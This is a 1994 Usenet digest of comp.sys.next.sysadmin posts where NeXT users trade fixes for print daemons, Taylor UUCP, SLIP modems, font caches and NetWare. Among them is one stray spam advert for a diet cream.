lpr.debug /usr/adm/lpd-errs
mail.info /usr/spool/mqueue/syslog
*.alert;kern.err;daemon.err;daemon.info operator
*.alert root
*.emerg *
========================================================
- Steve
====================================================================
Stephen Perkins |
Department of Computer Science | perkins@cps.msu.edu
Michigan State University |
"There's more ways to skin a cat than putting its head in a
boot jack and pulling on its tail."
From: M.Crawford@dcs.shef.ac.uk
Newsgroups: comp.sys.next.sysadmin
Subject: restarting print daemon
Date: 22 May 1994 11:30:36 -0500
Organization: UTexas Mail-to-News Gateway
Sender: nobody@cs.utexas.edu
Message-ID: <940522172635.6270AACUV.malc@jeeves>
We're getting an increasing number of people trying to print corrupt or
Micro$oft (is there a difference? :-) PostScript documents.
Frustratingly, when the print system gets a job it can't handle, it just sits
there. Furthermore, even after the offending job has been removed, printing
refuses to resume.
Using lpc to restart the daemon has no effect. Rebooting the machine works.
Can anybody (PLEASE) offer any advice as to how we can do things more
elegantly?
Have fun,
mmalcolm.
SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569
Dept. Computer Science | direct : 825569
Sheffield University | Fax : (+44) 742 780972
Regent Court | Email: malc@dcs.shef.ac.uk
211 Portobello Street | (NeXTMail, SunMail, MIME welcome)
Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
From: knarf@nasim.sta.sub.org (Frank Bartels)
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin
Subject: Re: Taylor uuchk returns nothing
Followup-To: comp.mail.uucp,comp.sys.next.sysadmin
Date: 22 May 1994 14:43:56 +0200
Organization: The Sunsite for ATARI-Friends
Message-ID: <2rnk2c$73a@nasim.sta.sub.org>
References: <westesCq2Mro.86s@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Will Estes (westes@netcom.com) wrote:
> After installing Taylor 1.04, the uuchk command is not returning
> anything. Note that
> - in policy.h, I have #define HAVE_TAYLOR_CONFIG 1
> - I have a completed call, config, dial, port, and sys files in
> /usr/local/lib/uucp
> Why is Taylor not finding this information?
Check for the location of $newconfigdir in the Makefile. The default
location is /usr/local/conf/uucp.
Bye,
Knarf
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Security questions
Message-ID: <1994May22.191643.16767@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2rn4mc$lkv@portal.gmu.edu>
Date: Sun, 22 May 1994 19:16:43 GMT
In article <2rn4mc$lkv@portal.gmu.edu> tfs@gravity.science.gmu.edu (Tim
Scanlon) writes:
> In article <415@bsovax.UUCP> eelco@bsovax.UUCP (Eelco Lammers) writes:
> >
> >I have a number of questions regarding security aspects of the
> >NextStation. We have a number of NextStations (with NextStep 3.1)
> >running a graphical oriented application for end-users. At the moment,
> >the end-user has too many possibilities to damage the system, and we
> >do not want to allow this.
> >
> >Of course we implemented a file protection scheme which prohibits
> >access of the end-user to dangerous files, but this appeared to be
> >insufficient security.
> IF you did what you described in the second paragraph, I do not
> see how the first assumption is possible?
I agree with Tim that this doesn't make 100% sense, if we make a whole
load of assumptions from context about where this user is coming from.
However, it is certainly true that in some circumstances end-users could
have too much access to critical files (mostly resulting from poor
configuration, but this could also be true for a DoD user, or any user
with a requirement for rigorous security).
> >Therefore, the following questions :
> >
> >1 - Is it possible to hide the complete Application Dock for the
end-user ?
> > (The system manager must keep the ability to use his Application
Dock).
> Not really, and you wouldn't want to either... This is kind of
> silly.
Yes, you can. It may not be desirable for you, but you shouldn't over
assume.
> >2 - Is it possible to disable the Work Space Manager's File Viewer for
the
> > end-user ? (The system manager must keep the ability to use his
File
> > Viewer).
> see above
It is possible to remove the Workspace; not entirely desirable, but
certainly feasible to do.
> >3 - Is it possible to block the usage of the floppy drive for the
end-user ?
> > (The system manager must keep the ability to use the floppy drive).
>
> Yes, buy a physical floppy drive lock. I don't know any vendors
> offhand, but ask on comp.security & they can answere you I am sure.
There are far easier ways (like changing permissions on the floppy
device).
> >4 - Is there a virus-scanner available ? How can we obtain it ?
>
> UNIX DOE NOT GET VIRUSES! don't worry about them. they are a
non-issue.
There aren't any viruses (as such) for Unix; but it doesn't meant to say
that they are impossible. Please....
There are a number of much more important risks to guard against; COPS,
and crack are two good recommendations.
Paul
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Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Re: Taylor uuchk returns nothing
Message-ID: <westesCq8114.Dy1@netcom.com>
Followup-To: comp.mail.uucp,comp.sys.next.sysadmin
Organization: Mail Group
References: <westesCq2Mro.86s@netcom.com> <2rgu8o$6j6@cthulu.UU.NET>
Date: Sun, 22 May 1994 20:31:52 GMT
Anthony Williams (alby@uunet.uu.net) wrote:
: The correct directory should be:
: /usr/local/lib/uucp/conf
: All the config files such as dial,sys,etc.. should be located
: in that directory.
Digging into the Makefile for Taylor 1.04, I see:
# Prefix directory for installlation directories.
prefix = /usr/local
...
# The directory to look in for new style configuration files (when
# using HAVE_TAYLOR_CONFIG). Note that by default this is different
# from sbindir, unlike traditional UUCP packages.
newconfigdir = $(prefix)/conf/uucp
This would seem to point to the directory:
/usr/local/conf/uucp
I tried to put the config files in the above directory, and now
uuchk returns the correct response.
Now I am wondering why does the location of my config files differ
from yours, and differ from the defaults described in all of the
various network posts that I have seen....
--
Will Estes Internet: westes@usc.com
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Taylor and USR Sportster 14.4K
Message-ID: <westesCq829u.MBw@netcom.com>
Organization: Mail Group
Date: Sun, 22 May 1994 20:58:42 GMT
Can someone who is using Taylor 1.04 with the U.S. Robotics
Sportster 14.4K modem share you dial and port files?
Mine are:
This is dial file:
# This is dial
dialer hayes
# The chat script used to dial the phone
chat "" ATZ\r\d\c OD ATDT\D CONNECT
chat-fail BUSY
chat-fail NO\sCARRIER
complete \d\d+++\d\d\ATH\r\c
abort \d\d+++\d\dATH\r\c
This is the port file:
port port2
type modem
device /dev/cufb
dialer hayes
speed 38400
carrier true
But when I use the above files, my attempts to dial out are failing,
and I get the following message in LOGFILE:
uux netcomsv westes (1994-05-22 13:36:41.87 996) Queuing rmail westes@netcom.com
uucico netcomsv - (1994-05-22 13:36:44.71 997) Calling system netcomsv (port cufb)
uucico netcomsv - (1994-05-22 13:37:46.77 997) ERROR: Timed out in chat script
Note that the modem TB light goes on, but there is never a dial out.
--
Will Estes Internet: westes@usc.com
From: pluther@cs.pdx.edu (Pat Luther)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: 14.4K modem on Black Cube
Date: 22 May 1994 15:17:24 -0700
Message-ID: <2rollk$8ge@xavier.cs.pdx.edu>
Has anyone out there gotten this to work?
If so, what do you put in your /etc/remote or /etc/ttys file?
Or is there something else entirely I'm overlooking??
I'm using a Technology Concepts (Hayes Compatible) V.42/V.42bis
14.4K modem, and I keep getting an error something like:
Device Busy
cua: link down
Anybody know what this means? And/or how to fix it?
(I can find nothing in the documentation or in Nextanswers that even
mentions 14.4K modems)
??pat
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Newsgroups: comp.sys.next.sysadmin
From: ambi@world.std.com (Michael S Amirault)
Subject: PNI-SLIP Troubles...
Message-ID: <Cq8Ct5.Kt8@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Date: Mon, 23 May 1994 00:46:16 GMT
I'm having problems with this package. I get the following error when I try
to bring up a line:
> Loaded bundle /etc/pni/TTY.encap for class TTY
> TTY: Not licensed to use this driver
> === TCL Error: Package initialization load fails:
> > error installing encapsulator: unknown type?
> === errorCode
> > NONE
> === errorInfo
> > error installing encapsulator: unknown type?
> > while executing
> > "stack TTY^Itty"
> > (file "/etc/pni/config/pni0.config" line 29)
> > invoked from within
> > "source $configFile"
> > ("then" clause line 3)
> > invoked from within
> > "if {[file exists $configFile] && [file isfile $configFile]} {
> > dlog "pnid: using configuraiton in $configFile
> > source $configFile
> > } else {
> > ..."
> > (file "/etc/pni/pnid.tcl" line 38)
> === [end error dump]
Anyone have iny ideas? I used to run the dialup-ip package on black hardware
so I'm pretty familiar with the package but I'm at a loss here.
Thanks,
Mike
ambi@world.std.com
Newsgroups: comp.sys.next.sysadmin
From: mburg@westwerk.cube.de (Michael Burgstahler)
Subject: Re: Fonts that kill the windowserver
Message-ID: <1994May22.190036.560@westwerk.cube.de>
Sender: mburg@westwerk.cube.de (Michael Burgstahler)
Organization: Westwerk
References: <2r7pnr$a80@cat.cis.Brown.EDU>
Date: Sun, 22 May 1994 19:00:36 GMT
In article <2r7pnr$a80@cat.cis.Brown.EDU> burton@het.brown.edu (Joshua W.
Burton) writes:
> OK, I give up. For more than a year now, I have had a problem with corrupt
> fonts that fail to turn up in the font panel, corrupt fonts that do turn up
> but only appear as Helvetica-12, corrupt fonts that turn up as blanks, and
> (most frustrating) fonts that are sometimes fine and sometimes behave like
> the corrupt ones. There has been a tantalizing near-pattern to this
> madness (for example, I can use either LeftyCasual or LiquidCrystal, but if
> I use both the second one almost always turns up blank...also, once one
> font comes up as Helvetica-12, so will dozens of others, often the same
ones),
> but since I was CERTAIN that some of the fonts were actively corrupted, I
> was willing to put up with some flakiness.
We seem to have the same problem (NS3.1 / Moto):
We are working with a library of 500 fonts and are using FontLister and
TypeView, too. I have encountered the very same problems when I recently
reorganized our font library and added some new fonts.
We also had copied several public domain fonts like LiquidCrystal or
LeftyCasual and used them in combination to "official" fonts. After the
reorganization our WindowServer died because of a apparently major disruption
of the afmcache. After heavy experimantation I can state the same like you:
Some fonts are working flawlessly alone but crash the afmcache when used in
combination with other fonts.
I have talked a lot with some UNIX/PostScript-experts and ended up in the
following clues:
Use the newest buildafmdir!
The one included in NS3.= has a bug which restricts a font library to
256 fonts maximum.
As I remember, the old buildafmdir from NS2.1 is o.k.
Always delete the point-files (e.g. .afmcache) manually before a
buildafmdir!
Always wait after finishing buildafmdir (that means an ended process in
Terminal).
For a minute you see a CacheAFMLockDate-File which is later converted
to .afmcache.
When you try to test font handling too early, you get some unpleasant
surprise when .afmcache is finally builded.
Always initialize the WindowServer before a buildafmdir!
You can do this easily by logging in as "exit" with no password.
Re-initializing the WindowServer clears the afmcache from bad data.
Check every font for using correct UniqueID and EncodingScheme!
This goes a little deeper in the Adobe-technology: Every font has a
worldwide uniqueID, which is set in the Outline-file of a font. In some
fonts, the setting of a UniqueID is commented out, which might lead (in
some cases) to internal conflicts in the afmcache.
Fonts used in NEXTSTEP should always use StandardEncoding (execptions
are Symbol-fonts which might use an 256array-encoding. This information
is also found in the Outline-file.
Some fonts converted from other platforms use AppleEncoding. I don't
recommend working with these!
Tip for converting Fonts:
The thing with the UniqueID and the EncodingScheme is VERY tricky and
unfortunately not included in popular font-converters like MetaMorphosis Pro
from AltSys. The only font-converter which does a check this and correctly
converts fonts into the NEXTSTEP-format is MagicType (distributed by Cube
Information Systems, Germany).
Everybody using fonts should have a close look the new
TypefaceInstaller-utility from Q-Type (released recently). Maybe they have
taken care of these things, too.
And finally something to the adress of almighty NeXT, Inc. itself (are you
listening?):
The whole font-handling of NEXTSTEP is some kind of secret, because you can't
get any documentation!
You have to spent hours and hours testing and fixing font combinations - and
only with deep, deep PostScript-knowledge you can hope to be successful.
Releasing a full documentation of the NEXTSTEP-font-mechanism shouldn't be a
too big effort!
Hope, this helps ...
Michael
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Fon 0711 / 638360
Fax 0711 / 634696
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--
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Michael Burgstahler
mburg@westwerk.cube.de (NeXTmail welcome)
University of Stuttgart
2nd. Dpt. of Theoretical Physics
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: PNI/network connection issues...
Date: 23 May 1994 08:54:43 GMT
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <ROBERT.94May23095443@steffi.demon.co.uk>
I'm currently running PNI 1.9... PNI 1.9 does some extra stuff now...
In particular it deletes the default routing when the connection is
brought down.. I've disabled that now...
Since PNI... is directed more towards permanent SLIP connections I'm
having a few problems using it in the fashion I'd like to...
basically I bring up the connection manually each time myself ...
with..
#!/bin/sh
# /usr/local/bin/pppup
# bring connection up.
/etc/pni/pnirun pni0 > /dev/console 2>&1 &
This creates the interface and sets up the default routing via
pnirun... The only problem with this is that if I reboot the routing
isn't set up and I cannot connect to my local news server (ie. ME.)
Well I can if I refer to it as "localhost" instead of "steffi" but I'd
like to refer to it as "steffi"...
currently my configuration is thus....
#
# /etc/hostconfig
#
# This file sets up shell variables used by the various rc scripts to
# configure the host. Edit this file instead of rc.boot.
#
# Warning: This is sourced by /bin/sh. Make sure there are no spaces
# on either side of the "=".
#
# There are some special keywords used by rc.boot and the programs it
# calls:
#
# -AUTOMATIC- Configure automatically
# -YES- Turn a feature on
# -NO- Leave a feature off or do not configure
#
HOSTNAME=steffi
INETADDR=
ROUTER=-NO-
IPNETMASK=
IPBROADCAST=-AUTOMATIC-
NETMASTER=-NO-
YPDOMAIN=-NO-
TIME=-AUTOMATIC-
--
Standalone workstation no INETADDR needed.....
127.0.0.1 localhost
255.255.255.255 broadcasthost
158.152.10.72 steffi.demon.co.uk steffi
158.152.1.65 gate.demon.co.uk gate
158.152.1.72 post.demon.co.uk post
158.152.254.254 news.demon.co.uk news
158.152.1.82 hinge.demon.co.uk hinge
158.152.1.71 nether.demon.co.uk nether
---
When I boot the routing is
localhost localhost
that's all...
I cannot install routing to nether (my host let's say) until the
interface is up.. and I cannot get the interface up without making a
connection...
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
From: cherp@cscnx15 (Chernett P)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: restarting print daemon
Date: 23 May 1994 12:05:56 GMT
Organization: Essex University, England
Message-ID: <2rq674$bcm@seralph0.essex.ac.uk>
References: <940522172635.6270AACUV.malc@jeeves>
In article <940522172635.6270AACUV.malc@jeeves> M.Crawford@dcs.shef.ac.uk
writes:
> We're getting an increasing number of people trying to print corrupt or
> Micro$oft (is there a difference? :-) PostScript documents.
> Frustratingly, when the print system gets a job it can't handle, it just sits
> there. Furthermore, even after the offending job has been removed, printing
> refuses to resume.
> Using lpc to restart the daemon has no effect. Rebooting the machine works.
>
> Can anybody (PLEASE) offer any advice as to how we can do things more
> elegantly?
>
> Have fun,
>
> mmalcolm.
>
> SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569
> Dept. Computer Science | direct : 825569
> Sheffield University | Fax : (+44) 742 780972
> Regent Court | Email: malc@dcs.shef.ac.uk
> 211 Portobello Street | (NeXTMail, SunMail, MIME welcome)
> Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
--
We do this in these circumstance
kill lpd
rm /usr/spool/lpd.lock
rerun lpd.
This usually works! By the way this in't NeXT specific but we find is needed on
Suns too.
Paul.
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* Paul Chernett University of Essex *
* Department of Computer Science *
* cherp@essex.ac.uk 0206 872048 *
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Newsgroups: comp.sys.next.sysadmin
From: henry@trilithon.com (Henry McGilton)
Subject: Re: restarting print daemon
Message-ID: <1994May23.015221.26715@trilithon.com>
Sender: henry@trilithon.com
Organization: Trilithon Software
References: <940522172635.6270AACUV.malc@jeeves>
Date: Mon, 23 May 1994 01:52:21 GMT
In article <940522172635.6270AACUV.malc@jeeves> M.Crawford@dcs.shef.ac.uk
writes:
* We're getting an increasing number of people trying to
* print corrupt or Micro$oft (is there a difference? :-)
* PostScript documents.
Many MS-Dross and Windoze applications have this annoying habit of
placing a control-D character right at the start of their PostScript
output files. This is a relic of the days when Dross and Windoze
didn't have anything resembling a printer spooler or any other kind
of printer management. When you find people with control-D characters
at the start of their PostScript files, take their names and call
their mums.
* Frustratingly, when the print system gets a job it can't
* handle, it just sits there. Furthermore, even after the
* offending job has been removed, printing refuses to resume.
* Using lpc to restart the daemon has no effect. Rebooting
* the machine works.
* Can anybody (PLEASE) offer any advice as to how we can do
* things more elegantly?
One way out is this sequence. From a UNIX terminal window:
o ps ax | grep lpd
o kill all running versions of lpd
o rm -f /dev/printer
o /usr/lib/lpd
You are now a full-fledged practitioner of the famous UNIX rite
known as ``Praying To The Printer Daemons''. It goes on in thousands
of UNIX establishments world wide and consumes bilions of person
hours of productivity per year. UNIX vendors have known about The
Problem for fifteen years or more and have refused to acknowledge
its existence. Indeed, one of the largest UNIX vendors formed an
entire division to Do Something about The Printing Problem, and
amazing to behold, succeeded in making printing harder than ever before.
........ Henry
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 23 May 1994 02:40:32 -0400
Organization: Next Announcements
Message-ID: <2rpj50$lju@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
Stepwise NEXTSTEP/OpenStep Information Server online
comp.sys.next newsgroups
related newsgroups
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ftp sites
NeXTanswers
New Information
---------------
Stepwise NEXTSTEP/OpenStep Information Server online
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and I'll be moving
the entire NEXTSTEP Third Party Catalog contents in as soon
as they become available.
Additionally the NEXTSTEP Product Information Mail Server will
be stocked full file files in the next week... you can get
information on using the mail server at
ns-products@digifix.com
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Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: bobs@pth3.bu.edu (Robert Singleton)
Newsgroups: comp.sys.next.sysadmin
Subject: configuring printer
Date: 23 May 1994 14:58:39 GMT
Organization: Boston University
Message-ID: <2rqgav$t0e@news.bu.edu>
Hello,
I'm trying to configure a printer to my NeXT. The
printer (called ppr) is on the network on a host
called pthpr, and my local NeXT is called pth3. In
using the PrintManagter.app, the host for the printer
ppr is being set to pth3.bu.edu - but it should be
set to pthpr. I can't seem to change the host to pthpr.
At one point I had another NeXT connected to this same
printer, but now I've forgotten how I did it. I should
also say that I'm not using NetInfo (if that's relevant).
Thanks for any assistance.
Regards,
--
bob singleton
bobs@pth3.bu.edu
From: larry@owrlakh.wl.aecl.ca (Larry Gadallah)
Newsgroups: comp.sys.next.sysadmin
Subject: Is calendar(1) broken for 3.2 on black?
Date: 23 May 1994 12:41:55 GMT
Organization: AECL Research, Whiteshell Labs
Distribution: world
Message-ID: <2rq8aj$7kc@wu1.wl.aecl.ca>
Keywords: calendar munged
Hello all,
I just noticed this weekend that calendar(1) seems to be busted under
3.2 on black. Anyone else experience this? Is there a fix, other than
ripping out the NeXT version and replacing it?
I seem to recall that calendar did work under 2.1.
This is what the symptoms look like:
owrlakh:/users/larry> calendar
calendar:1: unterminated string or character constant
calendar:2: unterminated string or character constant
calendar:3: unterminated string or character constant
[38 lines deleted]
calendar:41: unterminated string or character constant
calendar:42: unterminated string or character constant
05/23 Calendar test
owrlakh:/users/larry> calendar -
/usr/bin/calendar: syntax error at line 1: `^' unexpected
Thanks,
--
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Larry Gadallah Lac Du Bonnet, Manitoba, Canada
Internet: larry@owrlakh.wl.aecl.ca TPC: (204) 345-9222
``Raw UNIX lurks and it's far too nerdy to ever become a mainstream
operating system'' - John Dvorak ICBM: 50:12'05.4"N 96:04'31.8"W
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Newsgroups: comp.sys.next.sysadmin
From: janna@reliant.bsd.uchicago.edu (Janna Ore Nugent)
Subject: Re: Broken Netware
Message-ID: <1994May23.170111.1459@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago -- Academic Information Technologies
References: <2rm5ngINNp60@grumpy.symantec.com>
Date: Mon, 23 May 1994 17:01:11 GMT
In article <2rm5ngINNp60@grumpy.symantec.com> mcullen@symantec.com
(Michael Cullen) writes:
> When I boot up (NS 3.2 on mono black) I receive an error when the
nspd
> runs stating NPSD: Bind failed: No response from server. The only
clue I
> have is the error of the Net directory not being emtpy when the
> autonfsmounter kicks in. I have AppleShare and it works fine.
> Any Clues
> Michael
Maybe. I had a similiar problem, with the "Bind failed: No response
from server" error message under 3.2 on black boxes. After poking
around, I discovered that
/usr/netware/bin
and
/usr/netware/etc
were empty! I found a machine that had contents in their directories
(as well as the directory /usr/netware/lib) and copied everything
over. Better, but no dice. Then I cd'd into /usr/netware/etc and
ran
installNUC
and rebooted. Viola! Netware worked fine.
I should point out that I've actually had to do this on 6 different
black boxes, all with empty /usr/netware/bin & etc directories.
Wierd!
Janna Ore Nugent "Tiger gotta hunt. Bird gotta fly.
Biological Sciences Division Man gotta sit and wonder why, why,
why.
The University of Chicago Tiger gotta sleep. Bird gotta land.
Man gotta tell himself he
understand."
- Kurt Vonnegut Jr.
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From: bobs@pth3.bu.edu (Robert Singleton)
Newsgroups: comp.sys.next.sysadmin
Subject: annoying icon problem
Date: 23 May 1994 18:11:56 GMT
Organization: Boston University
Message-ID: <2rqrlc$406@news.bu.edu>
I seem to have an annoying icon problem. When I'm logged
on as root, the home directory bobs (which is my usual home
directory) appears as a regular folder - it doesn't have
the double house icon. Does anyone know what the problem
is? Thanks very much.
regards,
--
bob singleton
bobs@pth3.bu.edu
From: bobs@pth3.bu.edu (Robert Singleton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: configuring printer
Date: 23 May 1994 18:17:44 GMT
Organization: Boston University
Message-ID: <2rqs08$41e@news.bu.edu>
References: <2rqgav$t0e@news.bu.edu>
Just so you don't waste your time replying to
this question: I now have it figured out. The
problem was that I had to load the /etc/printcap
file into NetInfo by hand using
niload printcap . < /etc/printcap
For some reason the PrintManager.app didn't do this
(I've never had to use niload in configuring a printer
to my NeXT before - maybe there is a but in PrintManager?)
--
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bobs@pth3.bu.edu
From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: MOZAIC
Date: 23 May 1994 15:48:14 -0500
Organization: UTexas Mail-to-News Gateway
Sender: nobody@cs.utexas.edu
Message-ID: <9405232038.AA00363@guitar.ho.att.com>
Hi.
Can someone help me locate Mozaic executables for black and white hardware? or
at least source code that compiles reasonably well on the 2 Nextstap hardware
platforms?
Thanks for the help.
Dan Hurley
From: sandman@well.sf.ca.us (W. Sanford May)
Newsgroups: comp.sys.next.sysadmin
Subject: Modem Cable for SLIP?
Date: 23 May 1994 21:47:30 GMT
Organization: The Whole Earth 'Lectronic Link, Sausalito, CA
Message-ID: <2rr89i$iru@nkosi.well.com>
I'm planning to use a US Robotics (or similar) 14.4 kpbs modem with
my NeXT cube in order to establish a SLIP connection to the
Internet. Presently, I'm using a Macintosh-to-Hayes-compatible-modem
cable to connect the NeXT to the modem. Will this cable work for
the SLIP connection (BTW, I'm using NS 3.0)? If the cable won't
work, what kind of cable will work? If the cable is hard to find, where
can I get detailed instructions on creating my own cable or modifying
and existing cable. I'd prefer to just buy the cable from a computer
dealer or mail order house, if possible.
Please mail or post replies. Thanks...
sanford
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From: westes@netcom.com (Will Estes)
Subject: cancel <westesCq829u.MBw@netcom.com>
Message-ID: <westesCq9xLp.8uE@netcom.com>
Organization: Mail Group
Date: Mon, 23 May 1994 21:13:01 GMT
Article cancelled from within tin [v1.2 PL1]
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From: westes@netcom.com (Will Estes)
Subject: Best way to start Taylor from cron?
Message-ID: <westesCq9xpK.8zy@netcom.com>
Organization: Mail Group
Date: Mon, 23 May 1994 21:15:19 GMT
What's the best way to start Taylor UUCP from crontab?
With HDB UUCP, we used:
/usr/bin/uupoll -n netcomsv
/usr/lib/uucp/uucico -r1 -x9
But with Taylor, there is no uupoll program. What's the recommended
equivalent?
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From: preuss@netcom.com (Peter Preuss)
Subject: Printing to PS Printers
Message-ID: <preussCq9y36.n2D@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
Date: Mon, 23 May 1994 21:23:26 GMT
I tried printing from a NS3.2 Intel box to a Qume Postscript Printer
[parallel port] but fonts the printer didn't have (i.e. ITC Galliard)
were badly substituted (Ohlfs ?). Helvetica only docs print nicely.
What's the scoop on Postscript printer font-management? Isn't there
some sort of handshaking going on to make sure the printer has the
required fonts or do you need to buy font cardtriges?!
Peter.
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From: westes@netcom.com (Will Estes)
Subject: Taylor permission problem
Message-ID: <westesCq9y5M.9u6@netcom.com>
Organization: Mail Group
Date: Mon, 23 May 1994 21:24:57 GMT
I'm having a strange permission problem with Taylor 1.04. Mail sent
from individual userids goes over the line fine. But mail sent from
root is bounced by our local host, and the header says:
uux: /usr/local/conf/uucp/sys: fopen: Permission denied
Well, the permissions on sys are:
/usr/local/conf/uucp:
-rw-r--r-- 1 uucp daemon 935 May 22 13:30 sys
Again, what's really confusing about this is the fact that the
permissions are only an issue when root is the sender. What could
cause this?
--
Will Estes Internet: westes@usc.com
From: armes@pioneer.tds.com (Jim Armes)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Installation Show Stopper: DELL P60/90+ AHA-1540cf/1542cf BIOS v.2.01
Date: 23 May 1994 21:59:46 GMT
Organization: Trident Data Systems
Message-ID: <2rr90i$hue@discovery.ectds.com>
References: <2r31kj$q9l@news.mic.ucla.edu>
In article <2r31kj$q9l@news.mic.ucla.edu> ivo@next.agsm.ucla.edu (Ivo Welch)
writes:
>
> I just received my new DELL P60/90, and I am trying to install NS on the
> IDE drive. I only have 1 external device, the CD-ROM on the adaptec, as id
> #6, and have partitioned the IDE disk into a 200MB DOS volume (I know this
> large a partition is not usable for NS).
>
> So, I got through the NS installation part where I confirm that I want new
> NS installed in English and on the 315MB remainder of the IDE drive. It
> installs for a while, until I get the following error message(s):
>
> root on sd0
..
As I remember, this is because the adaptec driver on the cdrom is the older
version, which didn't support the 1542CF very well. use anonymous FTP and go
to ftp.next.com to look for the nextanswers that tell you how to install with
the new driver as well as about all the settings that the adaptec needs. I
have the xps-60, and after some false starts, everything worked ok. Also, I
had problems with the logitech mouse and had to upgrade it to a microsoft
mouse.
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From: jburke@bodacious.csc.wsu.edu (John L. Burke)
Subject: Type of SIMMS needed for a NeXTStation
Message-ID: <1994May23.224240.8550@serval.net.wsu.edu>
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Distribution: na
Date: Mon, 23 May 94 22:42:40 GMT
I need to know what type of SIMMS I need to put into a NeXTStation. What
sort of physical characteristics apply to this RAM? Speed, bits, etc.
Anybody have any good sources for buying memory? Thanks...
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From: jacques@touga.vd.alphanet.ch
Subject: Login Window
Message-ID: <Cq92E8.CJ@touga.vd.alphanet.ch>
Sender: jacques@touga.vd.alphanet.ch (Jacques Garbi)
Organization: Touga Management SA
Date: Mon, 23 May 1994 09:58:55 GMT
Hi,
I changed my Login Window panel all right but there are wo things that I
can't get so far :
1. I can't get rid of the two buttons Restart and Power. The buttons
themselves are gone but their borders are still there.
2. I don't know how to make an animated Login Panel, including sounds.
Let's imagine for instance a company that wants its logo spinning on the
screen along with a nice music and that's the LoginPanel. As soon as
somebody touches the keyboard or the mouse, some fileds appear for you to
type your username and password.
Can anyone help me about that ?
Thanks
Jacques GARBI
From: keogh@anshar.shadow.net (Matt Keogh)
Newsgroups: comp.sys.next.sysadmin
Subject: Skinny Dip
Date: 24 May 1994 03:08:47 -0400
Organization: Shadow Information Services, Inc.
Message-ID: <2rs95v$85m@anshar.shadow.net>
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This is the NEW, SUPER STRENGTH formula
Accept none of the immitation creams
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Now only $29.95 per bottle which INCLUDES shipping, handling and tax
U.S. orders only, please. Rush check or money order to:
U.S. Health Inc.
18524 NW 67th Ave. #311
Miami, Florida 33015
From: Scott McIntyre <S.A.McIntyre@durham.ac.uk>
Newsgroups: comp.sys.next.sysadmin
Subject: DAT dumping
Date: Tue, 24 May 1994 11:39:13 GMT
Organization: University of Durham, Durham, UK.
Sender: S.A.McIntyre@durham.ac.uk
Message-ID: <940524123913.15136AACYN.scott@shrug>
Mime-Version: 1.0 (Generated by Eloquent)
Content-Type: text/plain; charset=US-ASCII
I'm sure that this should be a FAQ by now (someone please tell me if it is)
but what are the correct parameters for dump(8) when using a HPDAT and 60 or
90m tape?
Or does it really matter?
scott
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From: (Albatross)
Subject: Re: Taylor permission problem
Message-ID: <CqB41s.2C8@haquer.uucp>
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
References: <westesCq9y5M.9u6@netcom.com>
Date: Tue, 24 May 1994 12:29:51 GMT
My question is: Who owns UUX?
-Alby
Will Estes writes
> I'm having a strange permission problem with Taylor 1.04. Mail sent
> from individual userids goes over the line fine. But mail sent from
> root is bounced by our local host, and the header says:
>
> uux: /usr/local/conf/uucp/sys: fopen: Permission denied
>
> Well, the permissions on sys are:
>
> /usr/local/conf/uucp:
>
> -rw-r--r-- 1 uucp daemon 935 May 22 13:30 sys
>
> Again, what's really confusing about this is the fact that the
> permissions are only an issue when root is the sender. What could
> cause this?
>
> --
> Will Estes Internet: westes@usc.com
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From: cowboy@ice.csuohio.edu (Joe Rosenfeld)
Subject: Troubles With attached printer in NS 3.2 FIP
Message-ID: <1994May24.152548.13805@news.csuohio.edu>
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
Date: Tue, 24 May 1994 15:25:48 GMT
Greetings: I have this annoying problem with an HP Laserjet 3 with
Postscript Plus cartridge. When I try to print to it from NeXTSTEP I get
the following error message:
ERROR: stackunderflow
OFFENDING COMMAND: dup
STACK:
Does anyone know what this signifies and how I could correct the problem?
It is becoming more prevalent. I used to be able to access the options
menu and the job would print but this has suddenly stopped.
Any insights into figuring out and solving this problem would be most
appreciated.
TIA,
Joe
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| Automation Librarian (216) 687-6881 [FAX]
| CSU Law Library trans.csuohio.edu [ANON FTP]
| NeXTMail and MIME ok
From: kaoki@ps1.yukawa.kyoto-u.ac.jp (Kenichiro Aoki)
